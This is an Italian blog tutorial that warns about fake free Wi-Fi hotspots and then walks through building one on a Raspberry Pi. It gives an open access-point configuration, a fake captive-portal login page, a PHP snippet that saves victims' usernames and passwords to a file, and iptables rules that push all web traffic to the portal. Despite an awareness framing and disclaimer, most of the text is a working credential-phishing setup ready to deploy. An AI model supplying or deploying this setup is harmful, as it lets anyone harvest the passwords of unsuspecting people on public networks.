Le nostre password sono al sicuro quando ci connettiamo ad una Free Wi-Fi ? Hacking via Social engineering e Phishing

SICUREZZA INFORMATICA, TUTORIAL

Hai mai usato una connessione Wi-Fi Free? Ti sei mai chiesto se fosse sicura? In questo articolo parlerò della sicurezza dell’uso delle reti Wi-Fi e della relativa tecnica di phishing per catturare delle password. Capita spesso che  ci preoccupiamo della sicurezza della nostra rete casalinga e magari siamo ossessionati nell’usare password lunghe e complicate ma, dall’altro lato  ci siamo sicuramente imbattuti, almeno una volta nella nostra vita, in una rete Wi-Fi open ed  assaliti da quella irrefrenabile necessità di connettersi ed  anche gratis abbiamo deciso di provare a farlo. Personalmente a me è capitato, specialmente, all’estero. In queste occasioni  vi siete mai posti, però, la domanda, mi posso fidare? Bene, in  questo articolo cercheremo di capire proprio questi aspetti, pertanto,  dedicherò  questo tutorial ad approfondire ed a spiegare i rischi legati all’uso delle connessioni Wireless Open e per comprenderli iniziamo con ipotizzare uno scenario di utilizzo:

Senario tipico

Stai in un aereporto senza connessione, decidi di guardare se esiste qualche rete free, tra quelle disponibili  ne trovi una in particolare chiamata Airport-Free-WiFi; senza neanche pensarci associ  il nome della rete al posto in cui ti trovi e poichè ritieni attendibile il luogo diventerà automaticamente attendibile anche la rete; proverai di conseguenza a connetterti, farai la procedura di autenticazione accedendo ad un area web, con tanto di logo dell’aereporto,  che ti richiede login e password e/o l’autenticazione via facebook o via google; a questo punto userai  l’opzione più semplice ovvero di autenticarti ad esempio con uno dei tuoi social “et voilà” il danno è fatto.

Abitudini

Bisogna tenere  presente che la tecnica di ingegneria sociale legata a questo tipo di attacco sfrutta sostanzialmente le  nostre abitudini. Una connessione free wifi, è sempre preceduta, infatti,  da una procedura di autenticazione attraverso  un sito Web, chiamato in gergo tecnico Captive Portal e questa  procedura è ovviamente  lecita e sicura sugli hotspot autorizzati  e serve per tracciare alcuni dati anche in base alle leggi vigenti, inoltre il sistema di autorizzazione all’accesso ad internet tramite  “captive portal”  è  tra i più comuni ed utilizzati in aeroporti, hotel, università ecc, ed è per questa ragione che non faremo caso ad un potenziale  fake hotspot (fasullo)  costruito appositamente per rubare le password. Sebbene sembri un pericolo remoto, la possibilità che venga attuata un’attività di phishing  è molto alta, anche, perchè  per predisporre una attacco di questo tipo è sufficiente utilizzare tecnologie a portata di tutti ad esempio, un telefono Android o un pc portatile o un qualunque dispositivo su cui sia possibile far girare un sistema operativo tipo linux.

Fiducia

Prima di procedere alla descrizione della  tecnica dell’attacco, volevo introdurre un concetto molto  importante, ovvero  quello della fiducia. Dovete tenere presente infatti che la maggior parte delle truffe informatiche sfruttano il nostro eccesso di fiducia “per rubare le nostre informazioni”.  Questa nostra natutale predisposizione anche se inconscia viene utilizzata in modo veramente efficace nelle tecniche di hacking chiamate di  Social engineering. In merito potrei consigliarvi di leggere un libro molto carino: “l’arte dell’inganno”. Un libro in cui  Kevin Mitnick, oggi consulente di sicurezza infomatico in America, ma con un famoso passato da hacker, spiega tutte le tecniche di “social engineering” che gli hanno permesso di violare sistemi di sicurezza ritenuti invulnerabili. Egli Descrive le strategie impiegate dagli hacker, dagli agenti dello spionaggio industriale e dai criminali comuni per penetrare nelle reti. Si tratta di tecniche “dell’inganno”, di espedienti per usare la buona fede, l’ingenuità o l’inesperienza delle persone che hanno accesso alle informazioni sensibili. Quindi attenzione nessuno  di noi è immune a questo tipo di truffe. Cosa fare per non essere raggirati dunque? essere sempre molto diffidenti anche e banalmente difronte ad una rete Wi-Fi open che sembrerebbe a prima vista lecita.

Social engineering 

“Il social engineering riunisce una serie di tecniche rivolte a spingere le persone a fornire informazioni personali come password o dati bancari o a consentire l’accesso a un computer al fine di installare segretamente software dannosi. I ladri e i truffatori utilizzano il social engineering in quanto è più facile spingere una persona a rivelare le proprie password rispetto all’ottenere tali informazioni mediante tecniche da hacker.”

Cit. Avast

Tutorial su come trasformare una raspberry pi in un hotspot con captive portal

In questo articolo, al solo scopo didattico, utilizzeremo una raspberry;  avremmo potuto usare anche  un telefono android, ma richiederebbe fare anche una procedura di root e quindi di modifica del sistema operativo,  pertanto, preferisco seguire una via alternativa, anche perchè  di conseguenza perderei la garanzia del mio telefono.

Per il nostro test vi dovrete dotare di una  raspberry pi 3 e di una microsd di 32Gb. Se poi volete rendere la cosa più interessante vi consiglio  di comprare un battery pack, un display per raspberry ed un piccolo case.

Nei paragrafi seguenti, vi farò vedere come trasformare  una raspberry Pi 3, in un hotspot fake, ma, giusto per chiarezza,  tutto quello che scriverò qui è solo a scopo divulgativo e per far capire alla gente quanto sia semplice cadere in trappola. Quindi attenzione  non dovrete assolutamentte usare quanto verrà discusso per usi illeciti, per cui non mi assumo nessuna responsabilità nel caso in cui qualcuno di voi pensasse anche per scherzo di usare una tecnica del genere in un area pubblica.

Agenda del progetto

Detto ciò vi dico cosa faremo  in questo tutorial?:

  1. Installazione di linux su raspberry
  2. Azioni preliminari di configurazione
  3. Configurazione di una  Raspberry Pi come access point
  4. Configurazione del un web server
  5. Creazione di  un captive portal utile per l’attacco
  6. Sviluppo di un piccolo script  php per catturare le credeziali : login e password.
  7. Gestione  del redirect  404 (redirect page) configurando opportunamente il web server
  8. Configurazione di qualche regole  iptable  per fare il redirect al captive portal
  9. Conclusioni

Step 1: Installazione di linux su raspberry

Per la procedura di installazione del sistema operativo vi consiglio di leggere un altro articolo in cui spiego passo passo la procedura. Da questo punto in poi darò, dunque, per scontato che abbiate installato e configurato una raspberry con  una distribuzione raspbian.

Step 2:  Azioni preliminari di configurazione

Il primo passo da fare è identificare l’indirizzo ip  della raspberry qualora si volesse lavorare da remoto comodamente con un pc via ssh

oppure basterà collegare una tastiera ed un monitor e lavorare direttamente sul terminale della raspberry. A voi la scelta. Per questo tutorial, mi collegherò via ssh alla console della raspberry eseguendo il seguente comando:

# ssh -l pi <ip-address-raspberry>

nel mio caso sarà:

# ssh -l pi 192.168.2.178

ovviamente prima di connettervi assicuratevi che il servizio ssh sulla raspberry sia attivo andando nella sezione preferenze -> raspberry pi configuration

oppure da terminale lanciando il comando:

# raspi-config

si aprirà una finestra tipo questa

dunque selezionando  la voce relativa ad SSH dovrete abilitare il servizio

Step 3: Configurazione della Raspberry Pi come access point

Entriamo nel vivo del progetto. In prima istanza dobbiamo trasformare la Raspberry Pi in un  access point,  per fare ciò, vi prego di seguire il tutorial che ho scritto per questo scopo. In questa occasione non riprenderò, dunque,  tutti i passi già spiegati nel tutorial dedicato a come trasformare un raspberry in un access point, ma saremo costretti a fare qualche variazione rispetto alla configurazione standard,  in quanto il  nostro hotspot in questo caso dovrà erogogare il servizio di connettività senza richiedere la password di rete per poi costringere gli ignari utenti ad autenticarsi su un “fake captive portal”.

Nel caso in esame dovreste configurare la raspberry nel seguento modo andando ad eliminare la componente di sicurezza wpa2 e lasciando dunque open la connessione.

interface=wlan0
driver=nl80211
ssid=<NOME_SSID_RETE_WIFI_A_SCELTA>
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
rsn_pairwise=CCMP

Step 4:  Configurazione del  Web Server

Adesso passeremo all’installazione del webserver che ci servirà successivamente per il captive portal. Al nostro scopo possiamo usare Apache che tra l’altro è uno dei web server più diffusi. Per installarlo ed attivarlo sarà suffciente eseguire via terminale i comandi:

sudo apt update

e successivamente:

sudo apt install apache2 -y

A questo punto diamo i permessi necessari alla document root di apache eseguendo il comando :

chown -R www-data /var/www/html/

Possiamo verificare che tutto funzioni correttamente, collegandoci alla rete wifi che abbiamo creato e via browser collegarci all’indirizzo ip della nostra raspberry http://192.168.3.1 ; Se tutto è andato per il verso giusto, dovrebbe rispondere la pagina di default di apache.

Step 5 Creiamo un Fake Captive Portal

Creaiamo un  file index.php in /var/ww/html/ ed aggiungiamo le seguenti righe

<html>
 <head>
 </head>
 <body>
<div  id="container">
    <div class="titolo">Benvenuto nel nuovo Servizio di WI-FI Free del ...</div>
    <div><img id="logo" src="logo.png"></div>
    <div id="containerLogin">
    <form action="index.php" method="POST">
        <span id="login"><label>Username <input type="text" name="username"></label></span>
        <span id="password"><label>Password <input type="password" name="password"></label></span>
        <span id="submit"><label><input type="submit" value="Connetti"></label></span>
    </form>
    </div>
    <div class="descrizione">Siamo felici di poter offrire il nuovo servizo in tutte le aree.</div>
</div>
 </body>
</html>
<style>
form {
    font-size: 1.2em;
}
input {
    padding: 5px;
}

div#container {
    max-width: 800px;
    margin: auto;
    margin-top: 100px;
    text-align: center;
    padding: 10px;
}

.titolo {
    font-size: 1.5em;
    text-align: center;
}

.descrizione {
    font-size: 1.2em;
    margin-top: 10px;
    text-align: center;
}

#submit input {
    font-size: 1.4em;
    font-weight: bold;
    padding: 5px;
}

span#password {
    margin-left: 20px;
}

</style>

Step 6: Aggiungiamo uno piccolo script php per salvare le credenziali

Prima di procedere all’editing dello script sarà necessario abilitare php per apache, pertanto dovremo installare i pacchetti necessari  e per farlo dobbiamo lanciare i seguenti comandi:

sudo apt install php php-mbstring

Alla fine del processo di installazione lanciamo questo comando

echo "<?php phpinfo ();?>" > /var/www/html/info.php

e colleghiamoci alla raspberry via browser per testare il tutto.

http://192.168.3.1/info.php

Se tutto è andato bene dovreste aver ottenenuto la schermata di info php ovvero qualcosa di simile a questa pagina:

a questo punto aggiungiamo in coda al file index.php precedente il seguente pezzo di codice:

<?php
if (isset($_POST["username"]) && isset($_POST["password"]))
{
    $credential = $_POST['username']."\t".$_POST['password']."\n";
    file_put_contents('credentials.txt', $credential, FILE_APPEND);
}
?>

Step 7: Configuriamo il Web Server per gestire l’errore 404, facendo il Redirect Page.

Per migliorare il sistema cercheremo, inoltre, di intercettare tutte le chiamate verso url  inesistenti, verificando l’errore 404. Per fare ciò sarà sufficente modificare la configurazione di apache. Editate dunque il file  localized-error-pages.conf, che dovrebbe trovarsi al seguente  path :

/etc/apache2/conf-enabled/localized-error-pages.conf

quindi, cercate la riga contenente la stringa:

#ErrorDocument 404 /missing.html

sostituitela con

ErrorDocument 404 /index.php

e riavviate apache

sudo /etc/init.d/apache2 restart

Step 8: Configurazione delle regole Iptable per fare il  Redirect al Captive Portal

A questo punto  il  captive portal è in esecuzione, ma dobbiamo ancora gestire l’ultimo problema, ovvero quello di far girare tutto il traffico web al captive portale per tentare di fare phishing e prendere qualche password. Per configurare la raspberry ed abilitarla a  far rigirare tutto il traffico al nostro fake captive portal dovremmo attivare qualche regole di firewall/iptables. Quello che faremo e di dire al sistema di fare il redirect  di tutto il traffico DNS, http ed https verso l’ip della raspberry che sarà ovviamente raggiungibile dai client connessi alla nostra rete free wifi. Per completare il tutto esegueremo su un terminale i seguenti comandi:

iptables -A FORWARD -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -p udp --sport 53 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.3.1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.3.1
iptables -P FORWARD DROP

e per rendere definitive le modifiche andremo a memorizzare le regole in un file di configurazione con il seguente comando.

sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
iptables-restore < /etc/iptables.ipv4.nat

il file  /etc/rc.local dovreste diventare qualcosa di simile a questo :

#
# By default this script does nothing.
# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
  printf "My IP address is %s\n" "$_IP"
fi

iptables-restore < /etc/iptables.ipv4.nat

exit 0

Conclusioni

Bene il sistema è pronto per fare il suo lavoro, ma per completare il progetto dovreste, anche, configurare il modulo  mod_ssl di apache per far rispondere il WEB Server  anche a chiamate  https altrimenti il redirect verso l la 443 locale  non funzionerà, ma questo è un altro problema di cui al momento  lascio a voi la soluzione.

 

Se vuoi farmi qualche richiesta o contattarmi per un aiuto riempi il seguente form